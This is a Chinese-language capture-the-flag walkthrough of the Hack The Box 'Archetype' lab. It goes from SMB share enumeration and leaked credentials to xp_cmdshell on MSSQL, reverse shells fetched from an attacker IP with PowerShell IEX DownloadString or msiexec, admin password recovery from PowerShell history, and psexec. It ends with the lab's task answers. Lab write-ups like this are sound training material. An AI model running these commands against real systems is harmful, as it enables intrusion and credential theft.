Hack The Box :: Starting Point - Archetype

Archetype

扫描
nmap 10.129.95.187 -sV

file

查看smb共享目录
smbclient -L 10.129.95.187

file

获取共享文件，看到用户名 ARCHETYPE\sql_svc 密码M3g4c0rp123
smbclient \\\\10.129.95.187\\backups
    ls
    get prod.dtsConfig

file

使用smbclient.py进行数据库连接，也可以用sqlmap，sqlmap更方便一些

https://github.com/fortra/impacket

#msclient
python mssqlclient.py sql_svc@10.129.95.187 -windows-auth
#sqlmap
sqlmap -d "mssql://ARCHETYPE\\sql_svc:M3g4c0rp123@10.129.95.187:1433/" --os-shell

file

使用sql命令开启xp_cmdshell执行系统命令效果和sqlmap的一样，二选一即可，
enable_xp_cmdshell
RECONFIGURE

#查看当前权限
xp_cmdshell whoami

#检查是否有管理权限
SELECT IS_SRVROLEMEMBER ('sysadmin')

# 获取反弹shell，可以用powershell远程执行ps1或者msiexec安装,或者msf的exe
# xp_cmdshell后面跟要运行的命令即可
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.11:8080/shell.ps1\");"

# 或者
xp_cmdshell "msiexec -qa http://10.10.16.130 /shell.msi"
获取信息，一般查看桌面和历史命令user.txt
dir c:\users\sql_svc\desktop\
type c:\users\sql_svc\desktop\user.txt

file

Winpeas，下载后执行， 会进行扫描然后给出提示

https://github.com/carlospolop/PEASS-ng

./winPEASx64.exe

file

历史命令 ，通过Winpeas查看到，路径C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine
dir  路径C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt

file

上面获取到了administrato的密码，可以使用msf通过smb获取flag，或者用 impacket 里面的psexec.py有可以
msfconsle
msfconsole
use exploit/windows/smb/psexec
set lhost 10.10.16.130 #本地IP
set rhosts 10.129.95.187 #远程IP
set smbuser administrator
set smbpass MEGACORP_4dm1n!!
option #检查设置是否正确
run #执行获取shell
cat c:\users\administrator\desktop\root.txt

file

方法2 psexec.py

python psexec.py administrator@10.129.95.187
MEGACORP_4dm1n!!  #密码

  • Task 1
    Which TCP port is hosting a database server?

    1433

  • Task 2
    What is the name of the non-Administrative share available over SMB?

    backups

  • Task 3
    What is the password identified in the file on the SMB share?

    M3g4c0rp123

  • Task 4
    What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

    mssqlclient.py

    mssqlclient.py
    https://github.com/SecureAuthCorp/impacket.git

  • Task 5
    What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

    xp_cmdshell

  • Task 6
    What script can be used in order to search possible paths to escalate privileges on Windows hosts?

    Winpeas

  • Task 7
    What file contains the administrator's password? 

    ConsoleHost_history.txt